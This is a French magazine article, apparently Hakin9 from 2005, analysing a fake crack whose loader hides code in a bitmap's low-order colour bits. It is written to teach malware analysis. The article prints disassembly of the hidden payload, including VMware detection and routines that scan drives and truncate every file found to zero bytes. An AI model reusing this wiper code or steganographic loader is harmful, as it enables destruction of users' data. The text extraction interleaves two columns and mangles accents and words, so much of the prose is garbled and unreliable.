Sie sind auf Seite 1von 11

Analyse du fonctionnement

d'un programme suspect


Bartosz Wjcik

Il faut bien rflchir avant de


lancer un fichier tlcharg sur
Internet. Bien que tous ne soient
pas dangereux, il est facile
de tomber sur un programme
malicieux. Notre crdulit peut
nous coter trs cher. Alors,
avant de lancer un programme
inconnu, essayons d'analyser
son fonctionnement.


la fin du mois de septembre 2004, sur la directement l'analyse du code, ou bien
liste de discussion pl.comp.programming au cas o le fi chier est compress nous
quelqu'un a post l'article intitul CRACK devons d'abord dcompresser le fi chier.
UNIVERSEL POUR MKS-VIR !!!! (MKS-VIR est L'analyse du code des fi chiers compresss
un programme antivirus polonais trs connu n'a aucun sens.
note du trad.). Ce message contenait le lien La seconde tape, plus importante,
vers l'archive crack.zip avec un fichier ex- consiste analyser le programme suspect
cutable. D'aprs les opinions des utilisateurs, et, ventuellement, dcouvrir dans les ressour-
ce programme n'tait pas un crack. De plus, ces en apparence innocentes de l'application,
il contenait probablement du code suspect. Le du code cach. Cela permettra de savoir com-
lien vers ce programme apparaissait aussi dans ment le programme fonctionne et quels sont les
les articles sur d'autres listes de discussion rsultats de son excution. Nous allons justifier
(mais il passait pour password cracker de la l'utilit de cette analyse. Ce soi-disant crack
messagerie instantane Gadu-Gadu). C'tait si n'appartient sans doute pas aux programmes
intressant que nous avons dcid d'analyser le inoffensifs. Si vous tombez un jour sur un
fichier suspect. fichier suspect, nous vous conseillons d'effec-
Cette analyse se compose de deux ta- tuer ce type d'analyse.
pes. D'abord, il faut analyser la structure
Dfense

gnrale du fi chier excutable et sa liste des


ressources (cf. l'Encadr Ressources dans
Cet article explique ...
les logiciels pour Windows) et dterminer comment effectuer l'analyse d'un programme
le langage de programmation dans lequel inconnu sous un systme Windows.
le programme a t crit. Il faut aussi vri-
fi er si le fi chier excutable est compress Ce qu'il faut savoir ...
(par exemple l'aide des compresseurs notions de base de programmation en assem-
UPX Aspack). Grce ces informa-
FSG, UPX, bleur et en C++.
tions, nous saurons si nous pouvons passer

44 www.hakin9.org Hakin9 N o 1/2005


Analyse d'un programme suspect

Ressources dans les


logiciels pour Windows
Les ressources dans les applications
pour Windows sont des donnes
dfinissant les lments du program-
me accessible l'utilisateur. Grce
elles, l'interface utilisateur est ho-
mogne, et il est facile de remplacer
l'un des lments de l'application
par un autre. Les ressources sont
spares du code du programme.
moins que l'dition du fichier ex-
cutable soit impossible, la modifica-
tion d'une ressource (par exemple le
changement de la couleur du fond
d'une bote de dialogue) n'est pas dif- Figure 1. Identificateur PEiD en cours d'excution
ficile il suffit d'utiliser l'un des outils
disponibles sur Internet, par exemple
eXeScope.
Ces ressources peuvent tre
constitues de donnes au format
quelconque. D'habitude, ce sont des
fichiers multimdias (comme GIF,
JPEG, AVI, WAVE), mais aussi des
programmes excutables, fichiers
texte ou documents HTML et RTF.

Identification rapide
L'archive crack.zip tlcharge ne
contenait qu'un fichier : patch.exe qui
faisait peu prs 200 Ko. Attention !
Nous vous conseillons vivement de
changer l'extension de ce fichier
avant de commencer l'analyse, par
exemple en patch.bin. Cela nous
protgera contre un lancement in- Figure 2. diteur des ressources eXeScope
volontaire d'un programme inconnu
les consquences d'une telle
erreur pouvant tre trs graves.
Dans la premire tape de l'ana-
lyse, nous devons comprendre la
structure du fichier suspect. L'identi-
ficateur de fichiers excutables PEiD
se prte parfaitement nos besoins.
La base qu'il intgre permet de dfi -
nir le langage utilis pour la cration
de l'application et d'identifier les
types de compresseurs de fichiers
excutables les plus connus. Nous
pouvons aussi utiliser un identifica-
teur un peu plus ancien FileInfo, mais
celui-ci n'est pas si bien dvelopp,
c'est pourquoi le rsultat obtenu peut
tre moins prcis.
Quelles informations avons-nous
obtenues l'aide de PEiD ? Par sa
structure, le fichier patch.exe est un Figure 3. Procdure WinMain() dans le dsassembleur IDA

Hakin9 N o 1/2005 www.hakin9.org 45


il est ncessaire de connatre les
Listing 1. Procdure WinMain() ressources de l'application. Pour cela,
.text:00401280 ; __stdcall WinMain(x,x,x,x)
nous nous servirons du programme
.text:00401280 _WinMain@16 proc near ; CODE XREF: start+C9p eXeScope qui permet de consulter
.text:00401280 et d'diter les ressources des fichiers
.text:00401280 hInstance = dword ptr 4 excutables (cf. la Figure 2).
.text:00401280
Pendant la consultation du fi -
.text:00401280 mov eax, [esp+hInstance]
.text:00401284 push 0 ; dwInitParam
chier dans l'diteur de ressources,
.text:00401286 push offset DialogFunc ; lpDialogFunc nous ne trouvons que les types de
.text:0040128B push 0 ; hWndParent donnes standard un bitmap, une
.text:0040128D push 65h ; lpTemplateName bote de dialogue, une icne et un
.text:0040128F push eax ; hInstance
manifest (les botes de dialogue
.text:00401290 mov dword_405554, eax
.text:00401295 call ds:DialogBoxParamA
avec cette ressource utilisent dans
.text:00401295 ; Create a model dialog box from a les systmes Windows XP de nou-
.text:00401295 ; dialog box template resource veaux styles graphiques, sans lui,
.text:0040129B mov eax, hHandle une ancienne interface connue des
.text:004012A0 push INFINITE ; dwMilliseconds
systmes Windows 9x est affiche).
.text:004012A2 push eax ; hHandle
.text:004012A3 call ds:WaitForSingleObject
premire vue, on a l'impression
.text:004012A9 retn 10h que le fichier patch.exe est une
.text:004012A9 _WinMain@16 endp application tout fait innocente.
Mais les apparences sont trompeu-
ses. Pour tre srs, nous devons
Listing 2. Procdure WinMain() traduite en C++ effectuer une analyse fastidieuse
du programme dsassembl et si
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, tel est le cas retrouver du code
LPSTR lpCmdLine, int nShowCmd)
supplmentaire cach l'intrieur
{
// afficher la bote de dialogue
du fichier.
DialogBoxParam(hInstance, IDENTIFICATEUR_DE_LA_BOITE_DE_DIALOGUE,
NULL, DialogFunc, 0); Analyse du code
// terminer le programme quand, Pour effectuer l'analyse du code de
// la poigne hHandle sera libre
l'application suspecte, nous allons
return WaitForSingleObject(hHandle, INFINITE);
}
utiliser un excellent dsassembleur
(commercial) IDA de la socit
DataRescue. IDA est considr
Listing 3. Fragment du code responsable de l'enregistrement dans la comme le meilleur outil de ce type
variable sur le march il permet une ana-
lyse dtaille de tous les types de
.text:004010F7 mov edx, offset lpInterface fichiers excutables. La version de
.text:004010FC mov eax, lpPointeurDuCode
dmonstration, disponible sur le site
.text:00401101 jmp short loc_401104 ; un mystrieux "call"
.text:00401103 db 0B8h ; dchets, c--d. "junk"
de l'diteur, ne permet que l'analyse
.text:00401104 loc_401104: ; CODE XREF: .text:00401101j des fichiers Portable Executable
.text:00401104 call eax ; un mystrieux "call" et dans notre cas, cela suffit parce
.text:00401106 db 0 ; dchets que patch.exe est crit ce format.
.text:00401107 db 0 ; comme ci-dessus
.text:00401108 mov hHandle, eax ; dfinition de la poigne
.text:0040110D pop edi
Procdure WinMain()
.text:0040110E mov eax, 1 Aprs le chargement du fichier
.text:00401113 pop esi patch.exe dans le dcompilateur IDA
.text:00401114 retn (cf. la Figure 3), nous nous retrou-
Dfense

vons dans la procdure WinMain()


qui est le point de dpart pour les
fichier excutable de 32 bits caract- ni protg. D'autres informations, applications crites en C++. En effet,
ristique pour la plate-forme Windows comme le type de sous-systme, le point d'entre de chaque applica-
au format Portable Executable (PE). l'offset du fichier ou ce qu'on appelle tion est ce qu'on appelle entrypoint
Il est vident (cf. la Figure 1) que le point d'entre (en anglais entrypoint)
entrypoint (de l'anglais point d'entre) dont
programme a t crit l'aide de MS ne sont pas importantes. l'adresse est stocke dans l'en-
Visual C++ 6.0. Grce PEiD nous sa- La connaissance de la struc- tte du fichier PE et partir duquel
vons aussi qu'il n'a t ni compress, ture du fichier suspect ne suffit pas commence l'excution du code de

46 www.hakin9.org Hakin9 N o 1/2005


Analyse d'un programme suspect

l'application. Pourtant, dans le cas


des programmes en C++, le code du
vrai point d'entre n'est responsable
que de l'initialisation des variables
internes le programmeur ne peut
pas le manipuler. Ce qui nous int-
resse, ce sont les squences crites
par le programmeur. La procdure
WinMain() est prsente dans le
Listing 1.
Le code sous cette forme peut tre
difficile analyser pour pouvoir le Figure 4. Fentre des rfrences dans le programme IDA
comprendre mieux, nous le traduisons
en C++. partir de presque chaque l'instruction push en ordre inverse sont toutes ces informations qui,
deadlisting (code dsassembl) il est (du dernier vers le premier) que son assembles, permettent de traduire
possible, plus ou moins facilement, de enregistrement dans l'appel de la le code de l'assembleur en langage
reconstruire le code dans le langage fonction dans le code original. Une utilis pour crire l'application.
de programmation original. Les outils fois toutes les informations correc- Il en rsulte que la translation
comme IDA fournissent uniquement tement recueillies, nous pouvons du code en langage de haut niveau
des informations de base les noms restaurer la rfrence originale de ncessite beaucoup d'exprience en
des variables et des constantes, les la fonction. Le plus difficile dans la analyse de code et en programma-
conventions d'appel des fonctions reconstruction du code du program- tion. Heureusement, la translation
(comme stdcall ou cdecl). Bien qu'il me (en langage de haut niveau) dans notre cas n'est pas ncessaire,
existe des plug-ins spciaux pour IDA est la restauration de la logique mais peut faciliter notre analyse. La
permettant une simple dcompilation du fonctionnement l'identification procdure WinMain() traduite en C++
du code x86, les rsultats laissent correcte des oprateurs logiques est disponible dans le Listing 2.
beaucoup dsirer. (or, xor, not) et arithmtiques (ad- Comme vous voyez, c'est la proc-
Pour effectuer cette translation, dition, soustraction, multiplication, dure DialogBoxParam() affichant la bote
il faut analyser la structure de la division) et des instructions condi- de dialogue qui est appele en pre-
fonction, distinguer les variables lo- tionnelles, (if, else, switch), ou bien mier. L'identificateur de la bote de dia-
cales, et enfin, trouver dans le code des boucles (for, while, do). Ces logue est stock dans les ressources
des rfrences aux variables globa-
les. Les informations fournies par Listing 4. Code responsable de l'enregistrement dans la variable sous
IDA suffisent pour dterminer quels l'diteur Hiew
paramtres (et combien) prend la
fonction analyse. De plus, grce au .00401101: EB01 jmps .000401104 ; saut lint. de linstruction
dsassembleur, nous pourront sa- .00401103: B8FFD00000 mov eax,00000D0FF ; instruction cache
.00401108: A3E4564000 mov [004056E4],eax ; dfinition de la poigne
voir quelles valeurs sont retournes
.0040110D: 5F pop edi
par une fonction, quelles procdures .0040110E: B801000000 mov eax,000000001
WinApi elle utilise et quelles don- .00401113: 5E pop esi
nes elle se rfre. Au dbut, nous .00401114: C3 retn
devons dfinir le type de fonction,
la convention de l'appel et les types
des paramtres. Ensuite, l'aide des Listing 5. La variable LpPointeurDuCode
donnes d'IDA, nous dfinissons les
variables locales de la fonction. .text:00401074 push ecx
.text:00401075 push 0
Si nous avons une esquisse
.text:00401077 mov dwTailleDeBitmap, ecx ; enregistrer la taille du bitmap
de la fonction, nous pouvons .text:0040107D call ds:VirtualAlloc ; allouer de la mmoire, ladresse du bloc
commencer rcuprer du code. .text:0040107D ; allou se trouve dans le registre eax
En premier, il faut rgnrer les .text:00401083 mov ecx, dwTailleDeBitmap
appels des autres fonctions .text:00401089 mov edi, eax ; edi = adresse de la mmoire alloue
.text:0040108B mov edx, ecx
(WinApi, mais pas seulement, aussi
.text:0040108D xor eax, eax
les rfrences aux fonctions inter- .text:0040108F shr ecx, 2
nes du programme) par exemple, .text:00401092 mov lpPointeurDuCode, edi ; enregistrer ladresse
pour la fonction WinApi, nous ana- .text:00401092 ; de la mmoire alloue
lysons les paramtres successifs .text:00401092 ; dans la variable lpPointeurDuCode

stocks sur la pile au moyen de

Hakin9 N o 1/2005 www.hakin9.org 47


ce que l'tat hHandle de l'objet ne soit
Listing 6. Fragment du code responsable de la rcupration des signal. Autrement dit : le programme
donnes partir du bitmap ne se termine pas jusqu'au moment
.text:004010BE octet successif: ; CODE XREF: .text:004010F4j o l'excution d'un autre code initia-
.text:004010BE mov edi, lpPointeurDuCode lis prcdemment par WinMain() ne
.text:004010C4 xor ecx, ecx soit pas termine. Le plus souvent, de
.text:004010C6 jmp short loc_4010CE cette faon le programme attend la fin
.text:004010C8 bit successif: ; CODE XREF: .text:004010E9j
du code lanc dans un autre thread
.text:004010C8 mov edi, lpPointeurDuCode
.text:004010CE loc_4010CE: ; CODE XREF: .text:004010BCj (en anglais thread).
.text:004010CE ; .text:004010C6j Que peut faire un programme
.text:004010CE mov edx, lpPointeurDeL'Image si simple juste aprs avoir ferm la
.text:004010D4 mov bl, [edi+eax] ; octet compos du code fentre principale ? Le plus proba-
.text:004010D7 mov dl, [edx+esi] ; octet successif de la composante
blement, des choses pas belles. Il
.text:004010D7 ; des couleurs RVB
.text:004010DA and dl, 1 ; masquer le bit le moins important de la faut alors trouver dans le code le
.text:004010DA ; composante des couleurs lieu o se trouve la poigne hHandle
.text:004010DD shl dl, cl ; bit de la composante RVB << i++ tant donn qu'elle est lue, elle doit
.text:004010DF or bl, dl ; composer un octet des bits de la composante tre enregistre quelque part. Pour
.text:004010DF ; des couleurs
ce faire, dans le dsassembleur IDA,
.text:004010E1 inc esi
.text:004010E2 inc ecx il faut cliquer sur le nom de la varia-
.text:004010E3 mov [edi+eax], bl ; enregistrer l'octet du code ble hHandle. Cette opration nous
.text:004010E6 cmp ecx, 8 ; compteur de 8 bits (8 bits = 1 octet) renvoie au lieu o elle se trouve dans
.text:004010E9 jb short bit successif la section de donnes (la poigne
.text:004010EB mov ecx, dwTailleDeBitmap
hHandle est tout simplement une va-
.text:004010F1 inc eax
.text:004010F2 cmp esi, ecx leur de 32 bits de type DWORD) :
.text:004010F4 jb short octet_suivant
.text:004010F6 pop ebx .data:004056E4 ; HANDLE hHandle
.text:004010F7 .data:004056E4 hHandle
.text:004010F7 loc_4010F7: ; CODE XREF: .text:004010B7j
dd 0
.text:004010F7 mov edx, offset lpInterface
.text:004010FC mov eax, lpPointeurDuCode ; DATA XREF: .text:00401108w
.text:00401101 jmp short loc_401104 ; un mystrieux "call" .data:004056E4
.text:00401103 db 0B8h ; dchets, appels "junk" ; WinMain(x,x,x,x)+1Br
.text:00401104 loc_401104: ; CODE XREF: .text:00401101j
.text:00401104 call eax ; un mystrieux "call"
gauche du nom de la variable,
nous trouvons ce qu'on appelle r-
frences (cf. la Figure 4) ce sont
Listing 7. Code qui calcule la taille de l'image les informations sur les lieux dans le
code partir desquels une variable
.text:0040105B ; dans le registre EAX se trouve le pointeur
.text:0040105B ; au dbut des donnes du bitmap est lue ou modifie.
.text:0040105B mov ecx, [eax+8] ; hauteur de l'image
.text:0040105E push 40h Rfrences mystrieuses
.text:00401060 imul ecx, [eax+4] ; largeur * hauteur = nombre Analysons les rfrences de la poi-
.text:00401060 ; d'octets dfinissant les pixels
gne hHandle. L'une d'elles, c'est la
.text:00401064 push 3000h
.text:00401069 add eax, 40 ; taille de l'en-tte du bitmap procdure WinMain() dans laquelle
.text:0040106C lea ecx, [ecx+ecx*2] ; chaque pixel est dcrit la variable est lue (c'est la lettre r qui
.text:0040106C ; par 3 octets, l'indique, de l'anglais read). Mais la
.text:0040106C ; alors le rsultat largeur * hauteur, il faut deuxime rfrence est encore plus
.text:0040106C ; multiplier 3 fois (RVB)
intressante (sur la liste, elle est en
.text:0040106F mov lpPointeurDuBitmap, eax
premire position). Sa description
Dfense

.text:0040106F ; enregistrer le pointeur des donnes des pixels successifs


.text:00401074 push ecx indique que la variable hHandle est
.text:00401075 push 0 ici modifie (la lettre w
w, de l'anglais
.text:00401077 mov dwTailleDeBitmap, ecx ; enregistrer la taille write). Maintenant, il suffit de cliquer
.text:00401077 ; du bitmap
pour se rfrencer au fragment du
code responsable de l'enregistre-
du fichier excutable. Ensuite, la constater que le programme affi- ment dans la variable. Ce fragment
procdure WaitForSingleObject() est che la bote de dialogue, et ensuite, est prsent dans le Listing 3.
appele et le programme se termine. aprs la fermeture de celle-ci (elle Une brve explication concer-
partir de ce code, nous pouvons n'est plus visible), il attend jusqu' nant ce code : tout d'abord, dans le

48 www.hakin9.org Hakin9 N o 1/2005


Analyse d'un programme suspect

registre eax le pointeur vers l'empla-


cement contenant le code (mov eax, Listing 8. Code qui charge les donnes partir du bitmap traduit en
lpPointeurAuCode) est charg. Ensui- C++
te, le programme effectue un saut unsigned int i = 0, j = 0, k;
l'instruction qui appelle la procdure unsigned int dwTailleDeBitmap;
(jmp short loc _ 401104). Si cette pro- // calculer combien d'octets occupent tous les pixels
cdure est dj appele, le registre // dans le fichier du bitmap
dwTailleDeBitmap = largeur du bitmap * hauteur du bitmap * 3;
eax contient la valeur de la poigne
while (i < dwTailleDeBitmap) {
(d'habitude, toutes les procdures // composer 8 bits constituant les couleurs RVB en 1 octet du code
retournent les valeurs et les codes for (k = 0; k < 8; k++) {
d'erreur justement dans ce registre lpPointeurDuCode[j] |= (lpPointeurDuBitmap[i++] & 1) << k;
du processeur) qui sera ensuite stoc- }
// octet successif du code
ke dans la variable hHandle.
j++;
Les utilisateurs qui connaissent }
bien l'assembleur remarquerons
sans doute que ce fragment du
code est suspect (il diffre du code Listing 9. Structure interface
standard C++ compil). Mais le d-
sassembleur IDA ne permet pas de 00000000 interface struc ; (sizeof=0X48)
cacher ou d'obfusquer les instruc- 00000000 hKernel32 dd ? ; poigne la bibliothque kernel32.dll
00000004 hUser32 dd ? ; poigne la bibliothque user32.dll
tions. Utilisons alors l'diteur de 16
00000008 GetProcAddress dd ? ; adresses des procdures WinApi
bits Hiew pour analyser encore une 0000000C CreateThread dd ?
fois le mme code (Listing 4). 00000010 bIsWindowsNT dd ?
L'instruction call eax n'est pas 00000014 CreateFileA dd ?
visible parce que ses opcodes (oc- 00000018 GetDriveTypeA dd ?
0000001C SetEndOfFile dd ?
tets de l'instruction) ont t insrs
00000020 SetFilePointer dd ?
l'intrieur de l'instruction mov eax, 00000024 CloseHandle dd ?
0xD0FF. C'est aprs l'obfuscation du 00000028 SetFileAttributesA dd ?
premier octet de l'instruction mov que 0000002C SetCurrentDirectoryA dd ?
nous pouvons voir quel code sera 00000030 FindFirstFileA dd ?
00000034 FindNextFileA dd ?
vraiment excut :
00000038 FindClose dd ?
0000003C Sleep dd ?
.00401101: EB01 00000040 MessageBoxA dd ?
jmps .000401104 00000044 stFindData dd ? ; WIN32_FIND_DATA
; saut l'intrieur 00000048 interface ends

; de l'instruction
.00401103: 90
nop Listing 10. Lancement par le programme principal d'un thread
; octet de l'instruction supplmentaire
; obfusqu "mov"
.00401104: FFD0 ; au dbut de l'excution de ce code, dans le registre eax se trouve
; l'adresse du code, le registre edx contient l'adresse de la structure
call eax
; assurant l'accs la fonction WinApi (interface)
; instruction cache
code_cache:
; eax + 16 = le dbut du code qui sera lanc dans le thread
Revenons au code appel par l'ins- lea ecx, code excut dans le thread[eax]
truction call eax. Il faudrait savoir o push eax
push esp
renvoie l'adresse stocke dans le re-
push 0
gistre eax. Au-dessus de l'instruction push edx ; paramtre pour la procdure du thread
call eax se trouve l'instruction qui ; adresse de la structure interface
dans le registre eax saisit la valeur de push ecx ; adresse de la procdure lancer dans le thread
la variable lpPointeurDuCode (dans push 0
push 0
IDA, le nom de la variable peut tre
call [edx+interface.CreateThread] ; lancer le code dans le thread
chang pour que le code soit plus loc_10:
comprhensible il suffit de placer pop ecx
le pointeur sur le nom, appuyer sur la sub dword ptr [esp], -2
touche N et entrer un nouveau nom). retn

Pour savoir ce qui a t stock dans

Hakin9 N o 1/2005 www.hakin9.org 49


voyez, la variable lpPointeurDuCode
Listing 11. Thread supplmentaire l'excution du code cach est positionne sur l'adresse de la
code_utilise_dans_le thread: ; DATA XREF: seg000:00000000r
mmoire alloue par la fonction Vir-
push ebp tualAlloc().
mov ebp, esp Nous n'avons qu' vrifier ce qui
push esi se cache derrire ce fragment mys-
push edi
trieux du code.
push ebx
mov ebx, [ebp+8] ; offset de l'interface avec les
; adresses des fonctions WinApi Bitmap suspect
; sous WindowsNT ne pas excuter l'instruction "in" Pendant la consultation des frag-
; cela pourrait conduire au plantage de l'application ments prcdents du deadlisting,
cmp [ebx+interface.bIsWindowsNT], 1
nous pouvons remarquer qu' partir
jz short ne_pas_executer
; dtection de la machine virtuelle Vmware, s'il s'avre que
des ressources du fichier patch.exe,
; le programme fonctionne sous un mulateur, le code se termine seulement un bitmap est charg. En-
mov ecx, 0Ah suite, les composants des couleurs
mov eax, 'VMXh' RVB construisent les octets succes-
mov dx, 'VX'
sifs du code cach, qui ensuite, sont
in eax, dx
cmp ebx, 'VMXh' ; dtection de Vmware
stocks dans la mmoire alloue
jz loc_1DB au pralable (dont l'adresse est
ne_pas_executer: ; CODE XREF: seg000:00000023j enregistre dans la variable lpPoin-
mov ebx, [ebp+8] ; offset de l'interface avec les adresses teurDuCode). Le fragment principal
; des fonctions WinApi
responsable de la rcupration des
call loc_54
aCreatefilea db 'CreateFileA',0
donnes partir du bitmap est pr-
loc_54: ; CODE XREF: seg000:00000043p sent dans le Listing 6.
push [ebx+interface.hKernel32] Dans le code prsent dans le
call [ebx+interface.GetProcAddress] ; adresses des procdures WinApi Listing 6, nous pouvons distinguer
mov [ebx+interface.CreateFileA], eax
deux boucles. L'une d'elles (intrieu-
call loc_6E
aSetendoffile db 'SetEndOfFile',0
re) est responsable du chargement
loc_6E: ; CODE XREF: seg000:0000005Cp des octets successifs dterminant
push [ebx+interface.hKernel32] les composantes des couleurs RVB
call [ebx+interface.GetProcAddress] ; adresses des procdures WinApi (Rouge, Vert, Bleu) des pixels du
mov [ebx+interface.SetEndOfFile], eax
bitmap. Dans notre cas, le bitmap
...
call loc_161
est enregistre au format 24bpp (24
aSetfileattribu db 'SetFileAttributesA',0 bits sur pixel), alors chaque pixel
loc_161: ; CODE XREF: seg000:00000149 p est dfini par trois octets de couleur
push [ebx+interface.hKernel32] successifs au format RVB.
call [ebx+interface.GetProcAddress] ; adresses des procdures WinApi
Parmi les huit octets successifs,
mov [ebx+interface.SetFileAttributesA], eax
lea edi, [ebx+interface.stFindData] ; WIN32_FIND_DATA
les bits les moins importants sont
sub eax, eax masqus ( l'aide de l'instruction and
inc eax dl, 1), qui tous ensemble donne un
pop ebx octet du code. Si cet octet est com-
pop edi
pos, il est stock dans le tampon
pop esi
lpPointeurDuCode. Ensuite, dans la
leave
retn 4 ; le fonctionnement du thread se termine ici boucle extrieure, l'indice pour le
pointeur lpPointeurDuCode est incr-
ment de faon ce qu'il renvoie la
cette variable, nous allons utiliser en- ; .text:004010C8r position o il est possible de placer
core une fois les rfrences : .data:004056E8 l'octet successif du code ensuite,
Dfense

; .text:004010FCr il revient au chargement des huit


.data:004056E8 octets successifs composant les
lpPointeurAuCode dd 0 La variable lpPointeurDuCode est couleurs.
; DATA XREF: .text:00401092w positionne par dfaut 0 et prend La boucle extrieure est excute
.data:004056E8 une autre valeur dans une seule po- jusqu' ce que tous les octets nces-
; .text:004010A1r sition du code. Un clic sur la rfrence saires du code cach soient rcup-
.data:004056E8 l'enregistrement dans la variable rs des pixels du bitmap. Le nombre
; .text:004010BEr et nous sommes dans le code pr- de rptitions de la boucle gale au
.data:004056E8 sent dans le Listing 5. Comme vous nombre de pixels de l'image, charg

50 www.hakin9.org Hakin9 N o 1/2005


Analyse d'un programme suspect

directement de son en-tte, et plus


prcisment, ce sont des donnes Listing 12. Procdure recherchant des disques durs
comme largeur et hauteur (en pixels) scanner_disques proc near ; CODE XREF: seg000:0000016Cp
cette situation est prsente dans var_28 = byte ptr -28h
le Listing 7. pusha
push '\:Y' ; scannage des disques commence par le disque Y:\
Aprs le chargement du bitmap
disque_successif: ; CODE XREF: scanner_disques+20j
partir des ressources du fichier push esp ; adresse du nom du disque sur la pile (Y:\, X:\, W:\ etc.)
excutable, le registre eax contien- call [ebx+interface.GetDriveTypeA] ; GetDriveTypeA
dra l'adresse du dbut du bitmap sub eax, 3
cmp eax, 1
qui est dfini par son en-tte. Les di-
ja short cdrom_itp ; lettre successive du disque dur
mensions de l'image sont charges mov edx, esp
partir de son en-tte, ensuite la lar- call supprimer_fichiers
geur est multiplie par la hauteur du cdrom_itp: ; CODE XREF: scanner_disques+10j
dec byte ptr [esp+0] ; lettre successive du disque dur
bitmap (en pixels), ce qui, en rsul- cmp byte ptr [esp+0], 'C' ; vrifier si la procdure a atteint C:\
tat, donne le nombre total de pixels jnb short disque_successif ; rpter le scannage du disque successif
du bitmap. tant donn que chaque pop ecx
pixel est dfini par trois octets, le popa
retn
rsultat est multipli 3 fois. Ainsi, scanner_disques endp
nous obtenons la taille finale des
donnes dterminant tous les pixels.
Pour mieux comprendre, le code
qui charge les donnes partir du Listing 13. Procdure recherchant les fichiers sur la partition
bitmap traduit en C++ est prsent
dans le Listing 8. supprimer_fichiers proc near ; CODE XREF: scann_disques+14p, suppr_fichiers+28p
pusha
Nos recherches se sont termi-
push edx
nes avec succs nous savons call [ebx+interface.SetCurrentDirectoryA]
o se trouve le code suspect. Les push '*' ; masque des fichiers recherchs
donnes secrtes ont t stockes mov eax, esp
push edi
dans les positions des bits les moins
push eax
importants des composants RVB call [ebx+interface.FindFirstFileA]
des pixels. Pour un il humain, il pop ecx
est impossible de distinguer l'image mov esi, eax
inc eax
modifie de celle originale les
jz short il_na_plus_de_fichiers
diffrences sont subtiles, de plus, il fichier_trouve:; CODE XREF: supprimer_fichiers+39j
faudrait disposer de l'image originale. test byte ptr [edi], 16 ; est-ce un rpetoire?
Quelqu'un qui s'est donn beau- jnz short repertoire_trouve
call mettre_a_blanc_ taille_fichier
coup de peine pour cacher un petit jmp short rechercher_le_fichier_suivant
fragment du code n'agissait sans repertoire_trouve: ; CODE XREF: supprimer_fichiers+17j
doute pas dans une bonne intention. lea edx, [edi+2Ch]
Notre tche est trs difficile il faut cmp byte ptr [edx], '.'
jz short rechercher_le_fichier_suivant
rcuprer le code cach de l'image, call supprimer_fichiers ; scannage rcursif des rpertoires
et ensuite, analyser son contenu. rechercher_le_fichier_suivant: ; CODE XREF: suppr_fich+1Ej, suppr_fich+26j
push 5
call [ebx+interface.Sleep]
Mthode de rcupration
push edi
du code push esi
L'extraction du code n'est pas trop call [ebx+interface.FindNextFileA]
complique nous pouvons tout sim- test eax, eax
jnz short fichier_trouve ; est-ce un rpertoire ?
plement lancer le fichier patch.exe et,
il_na_plus_de_fichiers: ; CODE XREF: seg000:0000003Aj, supprimer_fichiers+12j
au moyen du dbogueur (par exem- push esi
ple SoftIce ou OllyDbg), rcuprer call [ebx+interface.FindClose]
le code transform de la mmoire. push '..' ; cd ..
push esp
Mais il vaut mieux rester prudent
call [ebx+interface.SetCurrentDirectoryA]
nous ne savons pas ce qui peut pop ecx
arriver aprs un lancement involon- popa
taire du programme. retn
supprimer_fichiers endp
Lors de cette analyse, nous avons
utilis notre propre programme,

Hakin9 N o 1/2005 www.hakin9.org 51


code cach. Cette structure est stoc-
Listing 14. Procdure mettre__blanc_taille_fichier ke dans la section de donnes du
mettre_a_blanc_taille_fichier proc near ; CODE XREF: supprimer_fichiers+19p
programme principal.
pusha Avant le lancement du code
mov eax, [edi+20h] ; taille du fichier cach, les bibliothques systme
test eax, eax ; s'il a 0 octets, nglige-le kernel32.dll et user32.dll sont char-
jz short negliger_fichier
ges. Leurs poignes sont stockes
lea eax, [edi+2Ch] ; nom du fichier
push 20h ; ' ' ; nouveaux attributs pour le fichier
dans la structure interface. Ensuite,
push eax ; nom du fichier les adresses des fonctions GetPro-
call [ebx+interface.SetFileAttributesA] ; configurer les attributs cAddress() et CreateThread() sont
lea eax, [edi+2Ch] enregistres dans la structure et le
sub edx, edx
spcificateur dfinit si le programme
push edx
push 80h ; ''
a t dmarr sous Windows NT/XP.
push 3 Les poignes aux bibliothques sys-
push edx tme et l'accs la fonction GetPro-
push edx cAddress() permettent de rcuprer
push 40000000h
l'adresse d'une procdure quelcon-
push eax
call [ebx+interface.CreateFileA]
que et de chaque bibliothque, pas
inc eax ; l'ouverture du fichier a russi ? seulement de la bibliothque sys-
jz short negliger_fichier; si non, ne pas mettre blanc tme.
dec eax
xchg eax, esi ; stocker la poigne au fichier dans le registre esi
Thread principal
push 0 ; positionner le pointeur du fichier partir de son dbut
push 0
Le fonctionnement du code cach
push 0 ; l'adresse laquelle doit se rfrencer le pointeur du fichier commence par le lancement par le
push esi ; poigne_fichier programme principal d'un thread
call [ebx+interface.SetFilePointer] supplmentaire l'aide de l'adresse
push esi ; positionner la fin du fichier sur le pointeur courant,
de la procdure CreateThread(),
; la suite de cette opration, le fichier sera rduit 0 octets
call [ebx+interface.SetEndOfFile]
enregistre au pralable dans la
push esi ; fermer_fichier structure interface. Aprs l'appel de
call [ebx+interface.CloseHandle] CreateThread(), le registre eax retour-
negliger_fichier: ; CODE XREF: mettre__blanc_taille_fichier+6j ne la poigne au nouveau thread (ou
; mettre__blanc_taille_fichier+2Aj
0 en cas d'erreur) qui aprs le retour
popa
retn
du code principale du programme
mettre_a_blanc_taille_fichier endp est stocke dans la variable hHandle
(cf. le Listing 10).
Consultons le Listing 11 qui
trs simple, qui rcupre le code du et ses fragments les plus intres- prsente le thread responsable de
bitmap sans lancer l'application (le sants. l'excution du code cach. Dans la
fichier decoder.exe crit par Bartosz Pour que le code analys puisse procdure lance dans le thread,
Wjcik, avec le code source et le co- fonctionner, il doit avoir accs aux un paramtre est transmis dans
de cach dj rcupr est disponible fonctions du systme Windows ce cas, c'est l'adresse de la structure
sur Hakin9 Live). Le fonctionnement (WinApi). Dans ce cas, l'accs aux interface. Cette procdure vrifie si
du programme consiste charger le fonctions WinApi est ralis travers le programme a t lanc dans le
bitmap partir des ressources du fi- une structure spciale interface systme Windows NT. Cela est d
chier patch.exe et en extraire le co- (cf. le Listing 9) dont l'adresse est au fait que la procdure essaie de
de cach. Le programme decoder.exe transfre dans le registre edx au dtecter la prsence ventuelle de la
utilise le mme algorithme que celui
appliqu dans patch.exe.
Dfense

Sur le rseau
Code cach http://www.datarescue.com dsassembleur IDA Demo for PE,
Il est temps d'analyser le code http://webhost.kemtel.ru/~sen/ diteur hexadcimal Hiew, Hiew
cach extrait. Le tout (sans com- http://peid.has.it/ identificateur de fichiers PEiD,
